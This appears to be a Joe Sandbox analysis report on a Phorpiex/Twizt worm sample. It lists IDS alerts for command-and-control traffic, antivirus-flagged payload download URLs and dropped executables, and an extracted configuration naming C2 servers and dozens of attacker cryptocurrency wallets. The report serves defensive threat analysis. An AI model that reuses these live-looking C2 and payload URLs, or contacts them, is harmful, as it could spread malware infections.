2025-03-09T13:56:00.031906+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49628	91.202.233.141	80	TCP
2025-03-09T13:56:02.792944+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49630	91.202.233.141	80	TCP
2025-03-09T13:56:07.608857+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49632	45.93.20.18	80	TCP
2025-03-09T13:56:11.370667+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49633	45.93.20.18	80	TCP
2025-03-09T13:56:15.156822+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49635	45.93.20.18	80	TCP
2025-03-09T13:56:18.934891+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49637	45.93.20.18	80	TCP
2025-03-09T13:56:22.734701+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49639	45.93.20.18	80	TCP
2025-03-09T13:56:26.604411+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49641	91.202.233.141	80	TCP
2025-03-09T13:56:29.373772+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49642	91.202.233.141	80	TCP
2025-03-09T13:56:32.158811+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49644	91.202.233.141	80	TCP
2025-03-09T13:56:35.225653+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49645	91.202.233.141	80	TCP
2025-03-09T13:56:37.980446+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49647	91.202.233.141	80	TCP
2025-03-09T13:56:42.776940+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49649	45.93.20.18	80	TCP
2025-03-09T13:56:46.543602+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49650	45.93.20.18	80	TCP
2025-03-09T13:56:50.370269+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49652	45.93.20.18	80	TCP
2025-03-09T13:56:54.188891+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49654	45.93.20.18	80	TCP
2025-03-09T13:56:57.965212+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49656	45.93.20.18	80	TCP
2025-03-09T13:57:01.855945+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49658	91.202.233.141	80	TCP
2025-03-09T13:57:04.602502+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49659	91.202.233.141	80	TCP
2025-03-09T13:57:07.352960+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49661	91.202.233.141	80	TCP
2025-03-09T13:57:10.110738+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49662	91.202.233.141	80	TCP
2025-03-09T13:57:12.876902+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49671	91.202.233.141	80	TCP
2025-03-09T13:57:17.671813+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49673	45.93.20.18	80	TCP
2025-03-09T13:57:21.450455+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49674	45.93.20.18	80	TCP
2025-03-09T13:57:25.231064+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49676	45.93.20.18	80	TCP
2025-03-09T13:57:28.996928+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49682	45.93.20.18	80	TCP
2025-03-09T13:57:32.805077+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49684	45.93.20.18	80	TCP
2025-03-09T13:57:36.690150+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49686	91.202.233.141	80	TCP
2025-03-09T13:57:39.441513+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49687	91.202.233.141	80	TCP
2025-03-09T13:57:42.185057+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49689	91.202.233.141	80	TCP
2025-03-09T13:57:44.932867+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49690	91.202.233.141	80	TCP
2025-03-09T13:57:47.691344+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49692	91.202.233.141	80	TCP
2025-03-09T13:57:52.465399+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49693	45.93.20.18	80	TCP
2025-03-09T13:57:56.231300+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49695	45.93.20.18	80	TCP
2025-03-09T13:58:00.078103+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49697	45.93.20.18	80	TCP

ETPRO MALWARE Phorpiex Domain in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:53:55.194414+0100	2856563	1	A Network Trojan was detected	192.168.2.5	64335	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Phorpiex Twizt Variant CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:53:58.710704+0100	2853292	1	Malware Command and Control Activity Detected	192.168.2.5	49709	185.215.113.66	80	TCP

ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:54:03.751692+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49710	91.202.233.141	80	TCP
2025-03-09T13:54:05.548445+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:11.974570+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:14.260907+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:16.549798+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:18.805223+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:23.605572+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49587	45.93.20.18	80	TCP
2025-03-09T13:54:27.367765+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49589	45.93.20.18	80	TCP
2025-03-09T13:54:31.133646+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49591	45.93.20.18	80	TCP
2025-03-09T13:54:34.930434+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49592	45.93.20.18	80	TCP
2025-03-09T13:54:38.713259+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49594	45.93.20.18	80	TCP
2025-03-09T13:54:42.727357+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49595	91.202.233.141	80	TCP
2025-03-09T13:54:45.528581+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:47.781200+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:50.063393+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:52.327644+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:57.181848+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49598	45.93.20.18	80	TCP
2025-03-09T13:55:00.966612+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49600	45.93.20.18	80	TCP
2025-03-09T13:55:04.747416+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49601	45.93.20.18	80	TCP
2025-03-09T13:55:08.528664+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49603	45.93.20.18	80	TCP
2025-03-09T13:55:12.291313+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49605	45.93.20.18	80	TCP
2025-03-09T13:55:16.297318+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49607	91.202.233.141	80	TCP
2025-03-09T13:55:19.093052+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49608	91.202.233.141	80	TCP
2025-03-09T13:55:21.862183+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49610	91.202.233.141	80	TCP
2025-03-09T13:55:24.602892+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49611	91.202.233.141	80	TCP
2025-03-09T13:55:27.364644+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49613	91.202.233.141	80	TCP
2025-03-09T13:55:32.147306+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49615	45.93.20.18	80	TCP
2025-03-09T13:55:35.936299+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49616	45.93.20.18	80	TCP
2025-03-09T13:55:39.714414+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49618	45.93.20.18	80	TCP
2025-03-09T13:55:43.589369+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49620	45.93.20.18	80	TCP
2025-03-09T13:55:47.353905+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49622	45.93.20.18	80	TCP
2025-03-09T13:55:51.287294+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49624	91.202.233.141	80	TCP
2025-03-09T13:55:54.092835+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49625	91.202.233.141	80	TCP
2025-03-09T13:55:57.284640+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49627	91.202.233.141	80	TCP
2025-03-09T13:56:00.031906+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49628	91.202.233.141	80	TCP
2025-03-09T13:56:02.792944+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49630	91.202.233.141	80	TCP
2025-03-09T13:56:07.608857+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49632	45.93.20.18	80	TCP
2025-03-09T13:56:11.370667+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49633	45.93.20.18	80	TCP
2025-03-09T13:56:15.156822+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49635	45.93.20.18	80	TCP
2025-03-09T13:56:18.934891+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49637	45.93.20.18	80	TCP
2025-03-09T13:56:22.734701+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49639	45.93.20.18	80	TCP
2025-03-09T13:56:26.604411+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49641	91.202.233.141	80	TCP
2025-03-09T13:56:29.373772+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49642	91.202.233.141	80	TCP
2025-03-09T13:56:32.158811+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49644	91.202.233.141	80	TCP
2025-03-09T13:56:35.225653+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49645	91.202.233.141	80	TCP
2025-03-09T13:56:37.980446+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49647	91.202.233.141	80	TCP
2025-03-09T13:56:42.776940+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49649	45.93.20.18	80	TCP
2025-03-09T13:56:46.543602+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49650	45.93.20.18	80	TCP
2025-03-09T13:56:50.370269+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49652	45.93.20.18	80	TCP
2025-03-09T13:56:54.188891+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49654	45.93.20.18	80	TCP
2025-03-09T13:56:57.965212+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49656	45.93.20.18	80	TCP
2025-03-09T13:57:01.855945+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49658	91.202.233.141	80	TCP
2025-03-09T13:57:04.602502+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49659	91.202.233.141	80	TCP
2025-03-09T13:57:07.352960+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49661	91.202.233.141	80	TCP
2025-03-09T13:57:10.110738+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49662	91.202.233.141	80	TCP
2025-03-09T13:57:12.876902+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49671	91.202.233.141	80	TCP
2025-03-09T13:57:17.671813+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49673	45.93.20.18	80	TCP
2025-03-09T13:57:21.450455+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49674	45.93.20.18	80	TCP
2025-03-09T13:57:25.231064+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49676	45.93.20.18	80	TCP
2025-03-09T13:57:28.996928+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49682	45.93.20.18	80	TCP
2025-03-09T13:57:32.805077+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49684	45.93.20.18	80	TCP
2025-03-09T13:57:36.690150+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49686	91.202.233.141	80	TCP
2025-03-09T13:57:39.441513+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49687	91.202.233.141	80	TCP
2025-03-09T13:57:42.185057+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49689	91.202.233.141	80	TCP
2025-03-09T13:57:44.932867+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49690	91.202.233.141	80	TCP
2025-03-09T13:57:47.691344+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49692	91.202.233.141	80	TCP
2025-03-09T13:57:52.465399+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49693	45.93.20.18	80	TCP
2025-03-09T13:57:56.231300+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49695	45.93.20.18	80	TCP
2025-03-09T13:58:00.078103+0100	2848295	1	A Network Trojan was detected	192.168.2.5	49697	45.93.20.18	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: a0RkmvhSaf.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://91.202.233.141/1.exei/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/2.exe0	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/1.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/1	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.phpXr	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/2	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/4.exeswsock.dll.mui	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/11.exeR	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/7.exey/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/7.exeshqos.dll.mui	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exeq	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/1%	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/5	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/7.exeq/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/2.233.141/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/?k	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/4	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/3	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/9.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/4.exe	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.phpq	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/11.exex	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php6qcJ#	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/http://45.93.20.18/12345%s%s%s:Zone.Identifier%USERPROFILE%%windir%%s	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/2a	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exedb	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/3.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/8.exe1.	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exe8-	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/5.exeI/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/1.exehttp://91.202.233.141/2.exehttp://91.202.233.141/3.exehttp://91.202.233.1	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/2.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/6.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/7.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exehn	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exe6	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/ws	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/11.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exehqos.dll.mui	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/6.exeT	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/5.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/8.exe	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.phpIr	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exey-	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.phpshqos.dll.mui	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/v	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/1C:	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/5.exe)/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/6.exeQ/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/3.exeA/	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exe_-	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exeL	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php%temp%%s	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/7.exe233.141/3.exeshqos.dll.muid	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/10.exeg-	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/9.exer	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exeR	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.phpystem32	Avira URL Cloud: Label: malware
Source: http://twizt.net/newtpp.exeP0	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/3.exe9/	Avira URL Cloud: Label: malware
Source: http://twizt.net/newtpp.exe	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/12.exe	Avira URL Cloud: Label: malware
Source: http://twizt.net/peinstall.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\12[1].exe	Avira: detection malicious, Label: TR/Redcap.tfslp
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Avira: detection malicious, Label: TR/Agent.xvmwx
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\2[1].exe	Avira: detection malicious, Label: TR/Agent.xvmwx
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\1[1].exe	Avira: detection malicious, Label: TR/Agent.wveom
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\11[1].exe	Avira: detection malicious, Label: TR/Agent.krtrn
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Avira: detection malicious, Label: WORM/Phorpiex.hrjck
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Avira: detection malicious, Label: TR/Agent.lvaok
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\6[1].exe	Avira: detection malicious, Label: TR/Agent.lvaok
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\10[1].exe	Avira: detection malicious, Label: TR/Agent.ihpob
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Avira: detection malicious, Label: TR/ATRAPS.dhtti
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\8[1].exe	Avira: detection malicious, Label: TR/ATRAPS.dhtti
Source: C:\Users\user\AppData\Local\Temp\203235335.exe	Avira: detection malicious, Label: TR/Agent.krtrn
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\newtpp[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1360619

Found malware configuration

Source: 7.0.sysludpvs.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": ["http://91.202.233.141/", "http://45.93.20.18/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "lava@100le8y8x7w4uls8dhkuvtzten5jyvxgfj0crhw", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "EQBeqKxk-pwQ86KK0jwau5NKkjk9c-xtDR8kU5YP3OgROvlE", "Cz6xMbBst86mjM44qAaE5ahkD3F8JpLY7LFGHMiKYzwS6mn", "CSLKveRL2zqkbV2TqiFVuW6twtpqgFajoUZLAJQTTQk2", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd1a", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\10[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\2[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\6[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\1[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\5[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\newtpp[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\11[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\3[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\7[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\12[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\8[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\9[1].exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\203235335.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\2860723397.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	ReversingLabs: Detection: 95%
Source: C:\Windows\sysludpvs.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: a0RkmvhSaf.exe	Virustotal: Detection: 83%			Perma Link
Source: a0RkmvhSaf.exe	ReversingLabs: Detection: 78%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040BFF0 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	1_2_0040BFF0
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040BFF0 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	2_2_0040BFF0
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040BFF0 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	7_2_0040BFF0

Phishing

Yara detected Phorpiex

Source: Yara match	File source: Process Memory Space: 230053364.exe PID: 8652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 8672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 9076, type: MEMORYSTR

Source: a0RkmvhSaf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: a0RkmvhSaf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdbRSDS source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.pdb source: WERBE6A.tmp.dmp.12.dr

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00406690
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_004067D0
